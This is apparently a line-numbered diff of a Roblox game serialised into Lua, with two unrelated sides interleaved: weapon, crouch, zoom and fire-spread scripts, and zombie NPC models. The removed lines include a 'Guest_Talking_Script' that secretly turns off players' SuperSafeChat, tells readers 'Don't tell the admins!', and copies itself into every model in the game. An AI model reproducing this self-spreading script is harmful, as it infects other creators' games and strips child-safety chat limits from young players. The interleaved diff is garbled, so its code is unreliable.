		script.Parent.Value = 5
4256+
		else
4257-
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 5
4257+
			Humanoid.Health = Humanoid.MaxHealth
4258
		end
4259-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value <= 5) then
4259+
4260-
		wait(3)
4260+
4261-
		script.Parent.Value = script.Parent.Parent.Ammo.Value
4261+
4262-
		script.Parent.Parent.Ammo.Value = 0
4262+
4263
Script239.Name = "Respawn"
4264-
	wait(0)
4264+
Script239.Parent = Model223
4265
table.insert(cors,sandbox(Script239,function()
4266
name="Humanoid"
4267
4268-
Vector3Value304.Name = "Zoom"
4268+
robo=script.Parent:clone()
4269-
Vector3Value304.Parent = Tool281
4269+
4270-
Vector3Value304.Value = Vector3.new(5, 5, 5)
4270+
4271-
LocalScript305.Name = "Crouch"
4271+
	wait(1)
4272-
LocalScript305.Parent = Tool281
4272+
	if script.Parent.Humanoid.Health<1 then
4273-
table.insert(cors,sandbox(LocalScript305,function()
4273+
		robot=robo:clone()
4274-
on = 0
4274+
		robot.Parent=script.Parent.Parent
4275-
Tool = script.Parent
4275+
		robot:makeJoints()
4276-
welds = {}
4276+
		script.Parent:remove()
4277-
sh = {}
4277+
4278-
arms = nil
4278+
4279-
torso = nil
4279+
4280-
f = nil
4280+
4281-
function Crouch(ison)
4281+
4282-
if arms == nil and torso == nil then
4282+
4283-
arms = {Tool.Parent:FindFirstChild("Left Leg"), Tool.Parent:FindFirstChild("Right Leg")}
4283+
4284-
torso = Tool.Parent:FindFirstChild("Torso")
4284+
Part240.Name = "Spawn Location"
4285
Part240.Parent = Model222
4286-
if arms ~= nil and torso ~= nil then
4286+
Part240.CFrame = CFrame.new(188.091461, 0.600017011, 223.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
4287-
sh = {torso:FindFirstChild("Left Hip"), torso:FindFirstChild("Right Hip")}
4287+
Part240.Orientation = Vector3.new(0, 180, 0)
4288-
if sh ~= nil then
4288+
Part240.Position = Vector3.new(188.091461, 0.600017011, 223.48645)
4289-
local yes = true
4289+
Part240.Rotation = Vector3.new(-180, 0, -180)
4290-
if yes then
4290+
Part240.Color = Color3.new(0.631373, 0.768628, 0.54902)
4291-
yes = false
4291+
Part240.Size = Vector3.new(6, 1.20000005, 6)
4292-
if ison == 1 then
4292+
Part240.BottomSurface = Enum.SurfaceType.Weld
4293-
sh[1].Part1 = nil
4293+
Part240.BrickColor = BrickColor.new("Medium green")
4294-
sh[2].Part1 = nil
4294+
Part240.TopSurface = Enum.SurfaceType.Smooth
4295-
local weld1 = Instance.new("Weld")
4295+
Part240.brickColor = BrickColor.new("Medium green")
4296-
weld1.Part0 = torso
4296+
Decal241.Parent = Part240
4297-
weld1.Parent = torso
4297+
Decal241.Texture = "http://www.roblox.com/asset/?id=34541722"
4298-
weld1.Part1 = arms[1]
4298+
Decal241.Face = Enum.NormalId.Top
4299-
weld1.C1 = CFrame.new(-0.5, 0.75, 1)
4299+
Model242.Parent = Model201
4300-
arms[1].Name = "LDave"
4300+
Model243.Name = "Zombie"
4301-
arms[1].CanCollide = true
4301+
Model243.Parent = Model242
4302-
welds[1] = weld1
4302+
Model243.PrimaryPart = Part244
4303-
-------------------------------------------
4303+
Part244.Name = "Head"
4304-
local weld2 = Instance.new("Weld")
4304+
Part244.Parent = Model243
4305-
weld2.Part0 = torso
4305+
Part244.CFrame = CFrame.new(188.591461, 6.09995508, 247.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4306-
weld2.Parent = torso
4306+
Part244.Orientation = Vector3.new(0, 90, 0)
4307-
weld2.Part1 = arms[2]
4307+
Part244.Position = Vector3.new(188.591461, 6.09995508, 247.48645)
4308-
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
4308+
Part244.Rotation = Vector3.new(0, 90, 0)
4309-
arms[2].Name = "RDave"
4309+
Part244.Color = Color3.new(0.631373, 0.768628, 0.54902)
4310-
arms[2].CanCollide = true
4310+
Part244.Size = Vector3.new(2, 1, 1)
4311-
welds[2] = weld2
4311+
Part244.BrickColor = BrickColor.new("Medium green")
4312-
---------------------------------
4312+
Part244.TopSurface = Enum.SurfaceType.Smooth
4313-
local force = Instance.new("BodyForce")
4313+
Part244.brickColor = BrickColor.new("Medium green")
4314-
force.Parent = torso
4314+
Part244.FormFactor = Enum.FormFactor.Symmetric
4315-
f = force
4315+
Part244.formFactor = Enum.FormFactor.Symmetric
4316-
wait(0.01)
4316+
SpecialMesh245.Parent = Part244
4317-
elseif ison == 0 then
4317+
SpecialMesh245.Scale = Vector3.new(1.25, 1.25, 1.25)
4318-
if arms then
4318+
Decal246.Name = "face"
4319-
sh[1].Part1 = arms[1]
4319+
Decal246.Parent = Part244
4320-
sh[2].Part1 = arms[2]
4320+
Part247.Name = "Torso"
4321-
f.Parent = nil
4321+
Part247.Parent = Model243
4322-
arms[2].Name = "Right Leg"
4322+
Part247.CFrame = CFrame.new(188.591461, 4.59995508, 247.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
4323-
arms[1].Name = "Left Leg"
4323+
Part247.Orientation = Vector3.new(0, 90, 0)
4324-
welds[1].Parent = nil
4324+
Part247.Position = Vector3.new(188.591461, 4.59995508, 247.48645)
4325-
welds[2].Parent = nil
4325+
Part247.Rotation = Vector3.new(0, 90, 0)
4326
Part247.Color = Color3.new(0.411765, 0.25098, 0.156863)
4327
Part247.Size = Vector3.new(2, 2, 1)
4328-
--
4328+
Part247.BrickColor = BrickColor.new("Reddish brown")
4329
Part247.LeftParamA = 0
4330-
else
4330+
Part247.LeftParamB = 0
4331-
print("sh")
4331+
Part247.LeftSurface = Enum.SurfaceType.Weld
4332
Part247.RightParamA = 0
4333-
else
4333+
Part247.RightParamB = 0
4334-
print("arms")
4334+
Part247.RightSurface = Enum.SurfaceType.Weld
4335
Part247.brickColor = BrickColor.new("Reddish brown")
4336
Part247.FormFactor = Enum.FormFactor.Symmetric
4337-
function Key(key)
4337+
Part247.formFactor = Enum.FormFactor.Symmetric
4338-
if key then
4338+
Part248.Name = "Left Leg"
4339-
key = string.lower(key)
4339+
Part248.Parent = Model243
4340-
if (key=="c") then
4340+
Part248.CFrame = CFrame.new(188.591461, 2.59995508, 247.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4341-
if on == 1 then
4341+
Part248.Orientation = Vector3.new(0, 90, 0)
4342-
on = 0
4342+
Part248.Position = Vector3.new(188.591461, 2.59995508, 247.98645)
4343-
elseif on == 0 then
4343+
Part248.Rotation = Vector3.new(0, 90, 0)
4344-
on = 1
4344+
Part248.Color = Color3.new(0.411765, 0.25098, 0.156863)
4345
Part248.Size = Vector3.new(1, 2, 1)
4346-
Crouch(on)
4346+
Part248.BottomSurface = Enum.SurfaceType.Smooth
4347
Part248.BrickColor = BrickColor.new("Reddish brown")
4348
Part248.CanCollide = false
4349
Part248.brickColor = BrickColor.new("Reddish brown")
4350-
function Equip(mouse)
4350+
Part248.FormFactor = Enum.FormFactor.Symmetric
4351-
mouse.KeyDown:connect(Key)
4351+
Part248.formFactor = Enum.FormFactor.Symmetric
4352
Part249.Name = "Right Leg"
4353-
script.Parent.Equipped:connect(Equip)
4353+
Part249.Parent = Model243
4354
Part249.CFrame = CFrame.new(188.591461, 2.59995508, 246.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4355
Part249.Orientation = Vector3.new(0, 90, 0)
4356
Part249.Position = Vector3.new(188.591461, 2.59995508, 246.98645)
4357-
LocalScript306.Name = "Zoom Script"
4357+
Part249.Rotation = Vector3.new(0, 90, 0)
4358-
LocalScript306.Parent = Tool281
4358+
Part249.Color = Color3.new(0.411765, 0.25098, 0.156863)
4359-
table.insert(cors,sandbox(LocalScript306,function()
4359+
Part249.Size = Vector3.new(1, 2, 1)
4360-
a=false
4360+
Part249.BottomSurface = Enum.SurfaceType.Smooth
4361-
cam=nil
4361+
Part249.BrickColor = BrickColor.new("Reddish brown")
4362
Part249.CanCollide = false
4363
Part249.brickColor = BrickColor.new("Reddish brown")
4364
Part249.FormFactor = Enum.FormFactor.Symmetric
4365-
function onEquipped(mouse2)
4365+
Part249.formFactor = Enum.FormFactor.Symmetric
4366-
	mouse2.KeyDown:connect(onkeyDown)
4366+
Humanoid250.Parent = Model243
4367-
	mouse = mouse2
4367+
Humanoid250.LeftLeg = Part248
4368
Humanoid250.NameOcclusion = Enum.NameOcclusion.NoOcclusion
4369-
function onkeyDown(key) 
4369+
Humanoid250.RightLeg = Part249
4370-
	if key == "z" then
4370+
Humanoid250.Torso = Part247
4371-
	if not a then 
4371+
Part251.Name = "zarm"
4372-
		cam=game.Workspace.CurrentCamera:clone()
4372+
Part251.Parent = Model243
4373-
		cam.Parent=game.Workspace
4373+
Part251.CFrame = CFrame.new(188.091461, 5.09995508, 248.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4374-
		game.Workspace.CurrentCamera.CameraSubject = mouse.Target
4374+
Part251.Orientation = Vector3.new(0, 180, 0)
4375-
		game.Workspace.CurrentCamera.CameraType=4
4375+
Part251.Position = Vector3.new(188.091461, 5.09995508, 248.98645)
4376-
		a=true
4376+
Part251.Rotation = Vector3.new(-180, 0, -180)
4377-
	else
4377+
Part251.Color = Color3.new(0.631373, 0.768628, 0.54902)
4378-
		game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character
4378+
Part251.Size = Vector3.new(2, 1, 1)
4379-
		game.Workspace.CurrentCamera:Remove()
4379+
4380-
		game.Workspace.CurrentCamera=cam
4380+
Part251.BrickColor = BrickColor.new("Medium green")
4381-
		a=false
4381+
4382
Part251.brickColor = BrickColor.new("Medium green")
4383-
end 
4383+
Part251.FormFactor = Enum.FormFactor.Symmetric
4384
Part251.formFactor = Enum.FormFactor.Symmetric
4385
Script252.Parent = Part251
4386
table.insert(cors,sandbox(Script252,function()
4387
wait(1)
4388
owner=script.Parent.Parent.Name
4389-
script.Parent.Equipped:connect(onEquipped)
4389+
4390
function onTouched(part)
4391
	if part.Parent ~= nil then
4392-
Vector3Value307.Name = "Zoom"
4392+
		local h = part.Parent:findFirstChild("Humanoid")
4393-
Vector3Value307.Parent = LocalScript306
4393+
			if h~=nil then
4394-
Vector3Value307.Value = Vector3.new(5, 5, 5)
4394+
				if cantouch~=0 then
4395-
IntValue308.Name = "Clip"
4395+
					if h.Parent.Name~=owner then
4396-
IntValue308.Parent = Tool281
4396+
						
4397-
IntValue308.Value = 5
4397+
						if h.Parent:findFirstChild("zarm")~=nil then return end
4398-
Script309.Name = "Reload"
4398+
4399-
Script309.Parent = IntValue308
4399+
						cantouch=0
4400-
table.insert(cors,sandbox(Script309,function()
4400+
4401-
print("Ammo Clip Loaded") --Replace every "30" with the number of bullets you want in a clip.
4401+
						local larm=h.Parent:findFirstChild("Left Arm")
4402
						local rarm=h.Parent:findFirstChild("Right Arm")
4403
						
4404-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value >= 5) then 
4404+
						if larm~=nil then
4405-
		wait(3)
4405+
							larm:remove()
4406-
		script.Parent.Value = 5
4406+
						end
4407-
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 5
4407+
						if rarm~=nil then
4408
							rarm:remove()
4409-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value <= 5) then
4409+
						end
4410-
		wait(3)
4410+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4411-
		script.Parent.Value = script.Parent.Parent.Ammo.Value
4411+
						if zee~=nil then
4412-
		script.Parent.Parent.Ammo.Value = 0
4412+
							local zlarm=zee:clone()
4413
							local zrarm=zee:clone()
4414-
	wait(0)
4414+
							if zlarm~=nil then
4415
4416
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4417
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4418-
Script310.Name = "PUT THIS IN THE WEAPON"
4418+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4419-
Script310.Parent = Tool281
4419+
								zlarm.Parent=h.Parent
4420-
table.insert(cors,sandbox(Script310,function()
4420+
								zrarm.Parent=h.Parent
4421-
local debounce = false
4421+
								zlarm:makeJoints()
4422
								zrarm:makeJoints()
4423-
function getPlayer(humanoid) 
4423+
								zlarm.Anchored=false
4424-
local players = game.Players:children() 
4424+
								zrarm.Anchored=false
4425-
for i = 1, #players do 
4425+
								wait(0.1)
4426-
if players[i].Character.Humanoid == humanoid then return players[i] end 
4426+
								h.Parent.Head.Color=zee.Color
4427-
end 
4427+
							else print("no zee"); return end
4428-
return nil 
4428+
						end
4429-
end 
4429+
						wait(1)
4430
						cantouch=1
4431-
function onTouch(part) 
4431+
					end
4432
				end
4433-
local human = part.Parent:findFirstChild("Humanoid") 
4433+
4434-
if (human ~= nil) and debounce == false then
4434+
4435
end
4436-
debounce = true
4436+
4437
script.Parent.Touched:connect(onTouched)
4438-
local player = getPlayer(human) 
4438+
4439
Part253.Name = "zarm"
4440-
if (player == nil) then return end 
4440+
Part253.Parent = Model243
4441
Part253.CFrame = CFrame.new(188.091461, 5.09995508, 245.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4442-
script.Parent:clone().Parent = player.Backpack
4442+
Part253.Orientation = Vector3.new(0, 180, 0)
4443
Part253.Position = Vector3.new(188.091461, 5.09995508, 245.98645)
4444-
wait(2)
4444+
Part253.Rotation = Vector3.new(-180, 0, -180)
4445-
debounce = false
4445+
Part253.Color = Color3.new(0.631373, 0.768628, 0.54902)
4446
Part253.Size = Vector3.new(2, 1, 1)
4447
Part253.BottomSurface = Enum.SurfaceType.Smooth
4448
Part253.BrickColor = BrickColor.new("Medium green")
4449
Part253.TopSurface = Enum.SurfaceType.Smooth
4450-
script.Parent.Parent.Touched:connect(onTouch) 
4450+
Part253.brickColor = BrickColor.new("Medium green")
4451
Part253.FormFactor = Enum.FormFactor.Symmetric
4452
Part253.formFactor = Enum.FormFactor.Symmetric
4453-
Fire311.Parent = Part280
4453+
Script254.Parent = Part253
4454-
Fire311.Color = Color3.new(1, 0.72549, 0)
4454+
table.insert(cors,sandbox(Script254,function()
4455-
Fire311.Enabled = false
4455+
wait(1)
4456-
Fire311.Size = 30
4456+
owner=script.Parent.Parent.Name
4457-
Fire311.Heat = 25
4457+
4458-
Fire311.SecondaryColor = Color3.new(1, 0, 0)
4458+
function onTouched(part)
4459-
Fire311.size = 30
4459+
	if part.Parent ~= nil then
4460-
Script312.Name = "Spread"
4460+
		local h = part.Parent:findFirstChild("Humanoid")
4461-
Script312.Parent = Fire311
4461+
			if h~=nil then
4462
				if cantouch~=0 then
4463-
function Spread(part)
4463+
					if h.Parent.Name~=owner then
4464-
	check = part:findFirstChild("Fire")
4464+
						
4465-
		if check == nil then 
4465+
						if h.Parent:findFirstChild("zarm")~=nil then return end
4466-
	script.Parent:Clone().Parent = part
4466+
4467-
	
4467+
						cantouch=0
4468-
		elseif check ~= nil then
4468+
4469-
	check.Size = check.Size + 1
4469+
						local larm=h.Parent:findFirstChild("Left Arm")
4470-
	check.Heat = check.Heat  +1
4470+
						local rarm=h.Parent:findFirstChild("Right Arm")
4471
						
4472
						if larm~=nil then
4473
							larm:remove()
4474
						end
4475-
script.Parent.Parent.Touched:connect(Spread)
4475+
						if rarm~=nil then
4476
							rarm:remove()
4477
						end
4478-
Part313.Name = "Smooth Block Model"
4478+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4479-
Part313.Parent = Model273
4479+
						if zee~=nil then
4480-
Part313.CFrame = CFrame.new(179.899902, 17.4321747, 181.312134, -0.999999762, -5.0614193e-07, -8.27316398e-06, -5.06181266e-07, 1, 4.75149227e-06, 8.27316217e-06, 4.75149682e-06, -0.999999762)
4480+
							local zlarm=zee:clone()
4481-
Part313.Orientation = Vector3.new(0, -180, 0)
4481+
							local zrarm=zee:clone()
4482-
Part313.Position = Vector3.new(179.899902, 17.4321747, 181.312134)
4482+
							if zlarm~=nil then
4483-
Part313.Rotation = Vector3.new(-180, 0, 180)
4483+
4484-
Part313.Color = Color3.new(0.105882, 0.164706, 0.207843)
4484+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4485-
Part313.Transparency = 0.30000001192093
4485+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4486-
Part313.Size = Vector3.new(5, 6, 1)
4486+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4487-
Part313.Anchored = true
4487+
								zlarm.Parent=h.Parent
4488-
Part313.BrickColor = BrickColor.new("Black")
4488+
								zrarm.Parent=h.Parent
4489-
Part313.brickColor = BrickColor.new("Black")
4489+
								zlarm:makeJoints()
4490-
Part314.Name = "Smooth Block Model"
4490+
								zrarm:makeJoints()
4491-
Part314.Parent = Model273
4491+
								zlarm.Anchored=false
4492-
Part314.CFrame = CFrame.new(181.900146, 17.4311733, 183.312134, -2.20761831e-06, 2.26069387e-05, -0.99999696, -1.73930312e-05, 1, 2.26073607e-05, 0.99999696, 1.7393304e-05, -2.20721563e-06)
4492+
								zrarm.Anchored=false
4493-
Part314.Orientation = Vector3.new(0, -90, 0)
4493+
								wait(0.1)
4494-
Part314.Position = Vector3.new(181.900146, 17.4311733, 183.312134)
4494+
								h.Parent.Head.Color=zee.Color
4495-
Part314.Rotation = Vector3.new(-95.5799942, -89.8600006, -95.5799942)
4495+
							else print("no zee"); return end
4496-
Part314.Color = Color3.new(0.105882, 0.164706, 0.207843)
4496+
						end
4497-
Part314.Transparency = 0.30000001192093
4497+
						wait(1)
4498-
Part314.Size = Vector3.new(3, 6, 1)
4498+
						cantouch=1
4499-
Part314.Anchored = true
4499+
					end
4500-
Part314.BrickColor = BrickColor.new("Black")
4500+
				end
4501-
Part314.brickColor = BrickColor.new("Black")
4501+
4502-
Fire315.Parent = Part314
4502+
4503-
Fire315.Color = Color3.new(1, 0.745098, 0)
4503+
4504-
Fire315.Enabled = false
4504+
4505-
Fire315.Size = 30
4505+
4506-
Fire315.Heat = 25
4506+
4507-
Fire315.SecondaryColor = Color3.new(1, 0, 0)
4507+
ObjectValue255.Name = "IsNZ"
4508-
Fire315.size = 30
4508+
ObjectValue255.Parent = Model243
4509-
Script316.Parent = Fire315
4509+
IntValue256.Name = "Mode"
4510-
table.insert(cors,sandbox(Script316,function()
4510+
IntValue256.Parent = Model243
4511-
function Spread(part)
4511+
Script257.Parent = Model243
4512-
	check = part:findFirstChild("Fire")
4512+
table.insert(cors,sandbox(Script257,function()
4513-
		if check == nil then 
4513+
local larm = script.Parent:FindFirstChild("Left Arm")
4514-
	script.Parent:Clone().Parent = part
4514+
local rarm = script.Parent:FindFirstChild("Right Arm")
4515-
	
4515+
4516-
		elseif check ~= nil then
4516+
function findNearestTorso(pos)
4517-
	check.Size = check.Size + 1
4517+
	local list = game.Workspace:children()
4518-
	check.Heat = check.Heat  +1
4518+
	local torso = nil
4519
	local dist = 1000
4520
	local temp = nil
4521
	local human = nil
4522
	local temp2 = nil
4523-
script.Parent.Parent.Touched:connect(Spread)
4523+
	for x = 1, #list do
4524
		temp2 = list[x]
4525
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
4526
			temp = temp2:findFirstChild("Right Arm")
4527-
Part317.Name = "Smooth Block Model"
4527+
			human = temp2:findFirstChild("Humanoid")
4528-
Part317.Parent = Model273
4528+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
4529-
Part317.CFrame = CFrame.new(179.899902, 21.0321217, 182.812134, -0.999999762, -5.0614193e-07, -8.27316398e-06, -5.06181266e-07, 1, 4.75149227e-06, 8.27316217e-06, 4.75149682e-06, -0.999999762)
4529+
				if (temp.Position - pos).magnitude < dist then
4530-
Part317.Orientation = Vector3.new(0, -180, 0)
4530+
					torso = temp
4531-
Part317.Position = Vector3.new(179.899902, 21.0321217, 182.812134)
4531+
					dist = (temp.Position - pos).magnitude
4532-
Part317.Rotation = Vector3.new(-180, 0, 180)
4532+
				end
4533-
Part317.Color = Color3.new(0.105882, 0.164706, 0.207843)
4533+
4534-
Part317.Transparency = 0.30000001192093
4534+
4535-
Part317.Size = Vector3.new(5, 1.20000005, 4)
4535+
4536-
Part317.Anchored = true
4536+
	return torso
4537-
Part317.BrickColor = BrickColor.new("Black")
4537+
4538-
Part317.TopSurface = Enum.SurfaceType.Smooth
4538+
4539-
Part317.brickColor = BrickColor.new("Black")
4539+
4540-
Script318.Name = "PUT THIS IN THE WEAPON"
4540+
4541-
Script318.Parent = Model273
4541+
4542
while true do
4543-
local debounce = false
4543+
	wait(math.random(1,5))
4544
	local target = findNearestTorso(script.Parent.Torso.Position)
4545-
function getPlayer(humanoid) 
4545+
	if target ~= nil then
4546-
local players = game.Players:children() 
4546+
		script.Parent.Humanoid:MoveTo(target.Position, target)
4547-
for i = 1, #players do 
4547+
4548-
if players[i].Character.Humanoid == humanoid then return players[i] end 
4548+
4549-
end 
4549+
4550-
return nil 
4550+
4551-
end 
4551+
4552
Script258.Name = "Health"
4553-
function onTouch(part) 
4553+
Script258.Parent = Model243
4554
table.insert(cors,sandbox(Script258,function()
4555-
local human = part.Parent:findFirstChild("Humanoid") 
4555+
function waitForChild(parent, childName)
4556-
if (human ~= nil) and debounce == false then
4556+
	while true do
4557
		local child = parent:findFirstChild(childName)
4558-
debounce = true
4558+
		if child then
4559
			return child
4560-
local player = getPlayer(human) 
4560+
4561
		parent.ChildAdded:wait()
4562-
if (player == nil) then return end 
4562+
4563
end
4564-
script.Parent:clone().Parent = player.Backpack
4564+
4565
-- declarations
4566-
wait(2)
4566+
4567-
debounce = false
4567+
local Figure = script.Parent
4568
local Head = waitForChild(Figure, "Head")
4569
local Humanoid = waitForChild(Figure, "Humanoid")
4570
Humanoid.Health=500
4571
-- regeneration
4572-
script.Parent.Parent.Touched:connect(onTouch) 
4572+
4573
	local s = wait(4)
4574
	local health = Humanoid.Health
4575-
Script319.Name = "READ ME FOR INSTRUCTIONS"
4575+
	if health > 0 and health < Humanoid.MaxHealth then
4576-
Script319.Parent = Model273
4576+
		health = health + 0.08 * s * Humanoid.MaxHealth
4577
		if health * 1.05 < Humanoid.MaxHealth then
4578-
--DONT PUT THIS IN ANYTHING IT'S JUST INSTRUCTIONS.
4578+
			Humanoid.Health = health
4579-
--First Place the "PUT THIS IN THE WEAPON" script in your Weapon or Tool.
4579+
		else
4580-
--Then place your Weapon or Tool in the "PUT THE WEAPON IN THIS BRICK" brick.
4580+
			Humanoid.Health = Humanoid.MaxHealth
4581
		end
4582-
--IMPORTANT (OPTINAL)
4582+
4583-
--Before doing anything you should put the Weapon or Tool in the giver where you want it.
4583+
4584
4585-
Script320.Name = "Guest_Talking_Script"
4585+
4586-
Script320.Parent = Model273
4586+
Script259.Name = "Respawn"
4587-
table.insert(cors,sandbox(Script320,function()
4587+
Script259.Parent = Model243
4588-
--Farvei's totally awesome script that makes Guests talk
4588+
table.insert(cors,sandbox(Script259,function()
4589-
--Please give credit
4589+
name="Humanoid"
4590-
--Don't tell the admins!
4590+
4591-
--Unnote the vaccine if you'd like to remove all copies of this script in your place
4591+
robo=script.Parent:clone()
4592-
if (script.Parent == workspace) then
4592+
4593-
	function checkForAndSwitch(player)
4593+
4594-
		if (player.SuperSafeChat == true) then
4594+
	wait(1)
4595-
			player.SuperSafeChat = false;
4595+
	if script.Parent.Humanoid.Health<1 then
4596-
			wait(5);
4596+
		robot=robo:clone()
4597-
			local m = Instance.new("Message");
4597+
		robot.Parent=script.Parent.Parent
4598-
			m.Text = "Hey People! Its elomoto1236.";
4598+
		robot:makeJoints()
4599-
			m.Parent = player;
4599+
		script.Parent:remove()
4600-
			wait(5);
4600+
4601-
			m.Text = "Just hit the /, and than type in your message..";
4601+
4602-
			wait(5);
4602+
4603-
			m:Remove();
4603+
4604-
			m = nil;
4604+
4605
4606-
		player = nil;
4606+
4607-
		collectgarbage("collect");
4607+
Part260.Name = "Spawn Location"
4608
Part260.Parent = Model242
4609
Part260.CFrame = CFrame.new(188.113556, 0.603015006, 247.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
4610-
	function onChildAddedToPlayers(obj)
4610+
Part260.Orientation = Vector3.new(0, 180, 0)
4611-
		if (obj.className == "Player") then
4611+
Part260.Position = Vector3.new(188.113556, 0.603015006, 247.491455)
4612-
			checkForAndSwitch(obj);
4612+
Part260.Rotation = Vector3.new(-180, 0, -180)
4613-
			local m = Instance.new("Message");
4613+
Part260.Color = Color3.new(0.631373, 0.768628, 0.54902)
4614-
			m.Text = "elomoto1236 here. Guests are welcome to talk here.";
4614+
Part260.Size = Vector3.new(6, 1.20000005, 6)
4615-
			m.Parent = obj;
4615+
Part260.BottomSurface = Enum.SurfaceType.Weld
4616-
			wait(5);
4616+
Part260.BrickColor = BrickColor.new("Medium green")
4617-
			m:Remove();
4617+
Part260.TopSurface = Enum.SurfaceType.Smooth
4618-
			m = nil;
4618+
Part260.brickColor = BrickColor.new("Medium green")
4619
Decal261.Parent = Part260
4620-
		obj = nil;
4620+
Decal261.Texture = "http://www.roblox.com/asset/?id=34541722"
4621-
		collectgarbage("collect");
4621+
Decal261.Face = Enum.NormalId.Top
4622
Model262.Parent = Model201
4623
Model263.Name = "Zombie"
4624-
	function onChildAddedToWorkspace(obj)
4624+
Model263.Parent = Model262
4625-
		if (obj.className == "Model") then
4625+
Model263.PrimaryPart = Part264
4626-
			if (game.Players:playerFromCharacter(obj) ~= nil) then
4626+
Part264.Name = "Head"
4627-
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
4627+
Part264.Parent = Model263
4628
Part264.CFrame = CFrame.new(188.608551, 6.09995508, 235.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4629
Part264.Orientation = Vector3.new(0, 90, 0)
4630-
		obj = nil;
4630+
Part264.Position = Vector3.new(188.608551, 6.09995508, 235.513428)
4631-
		collectgarbage("collect");
4631+
Part264.Rotation = Vector3.new(0, 90, 0)
4632
Part264.Color = Color3.new(0.631373, 0.768628, 0.54902)
4633
Part264.Velocity = Vector3.new(3.64787943e-20, 0.00686328812, 3.64330182e-20)
4634-
	function findLowestLevel(obj)
4634+
Part264.Size = Vector3.new(2, 1, 1)
4635-
		local c = obj:GetChildren();
4635+
Part264.BrickColor = BrickColor.new("Medium green")
4636-
		local lowestLevel = true;
4636+
Part264.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4637
Part264.TopSurface = Enum.SurfaceType.Smooth
4638-
		for i, v in pairs(c) do
4638+
Part264.brickColor = BrickColor.new("Medium green")
4639-
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
4639+
Part264.FormFactor = Enum.FormFactor.Symmetric
4640-
				lowestLevel = false;
4640+
Part264.formFactor = Enum.FormFactor.Symmetric
4641-
				wait();
4641+
SpecialMesh265.Parent = Part264
4642-
				findLowestLevel(v);
4642+
SpecialMesh265.Scale = Vector3.new(1.25, 1.25, 1.25)
4643
Decal266.Name = "face"
4644
Decal266.Parent = Part264
4645
Part267.Name = "Torso"
4646-
		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
4646+
Part267.Parent = Model263
4647-
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
4647+
Part267.CFrame = CFrame.new(188.608551, 4.59995508, 235.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
4648-
				local s = script:Clone();
4648+
Part267.Orientation = Vector3.new(0, 90, 0)
4649-
				s.Parent = obj;
4649+
Part267.Position = Vector3.new(188.608551, 4.59995508, 235.513428)
4650
Part267.Rotation = Vector3.new(0, 90, 0)
4651
Part267.Color = Color3.new(0.411765, 0.25098, 0.156863)
4652
Part267.Velocity = Vector3.new(3.64798347e-20, 0.00686328812, 3.64324075e-20)
4653
Part267.Size = Vector3.new(2, 2, 1)
4654-
	findLowestLevel(game);
4654+
Part267.BrickColor = BrickColor.new("Reddish brown")
4655
Part267.LeftParamA = 0
4656-
	game.Players.ChildAdded:connect(onChildAddedToPlayers);
4656+
Part267.LeftParamB = 0
4657-
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
4657+
Part267.LeftSurface = Enum.SurfaceType.Weld
4658-
else
4658+
Part267.RightParamA = 0
4659-
	local findScript = workspace:FindFirstChild(script.Name);
4659+
Part267.RightParamB = 0
4660
Part267.RightSurface = Enum.SurfaceType.Weld
4661-
	if (findScript == nil) then
4661+
Part267.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
4662-
		local s = script:Clone();
4662+
Part267.brickColor = BrickColor.new("Reddish brown")
4663-
		s.Parent = workspace;
4663+
Part267.FormFactor = Enum.FormFactor.Symmetric
4664
Part267.formFactor = Enum.FormFactor.Symmetric
4665
Part268.Name = "Left Leg"
4666
Part268.Parent = Model263
4667-
--[[function findAllCopies(obj)
4667+
Part268.CFrame = CFrame.new(188.608551, 2.59995508, 236.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4668-
	local c = obj:GetChildren();
4668+
Part268.Orientation = Vector3.new(0, 90, 0)
4669
Part268.Position = Vector3.new(188.608551, 2.59995508, 236.013428)
4670-
	for i, v in pairs(c) do
4670+
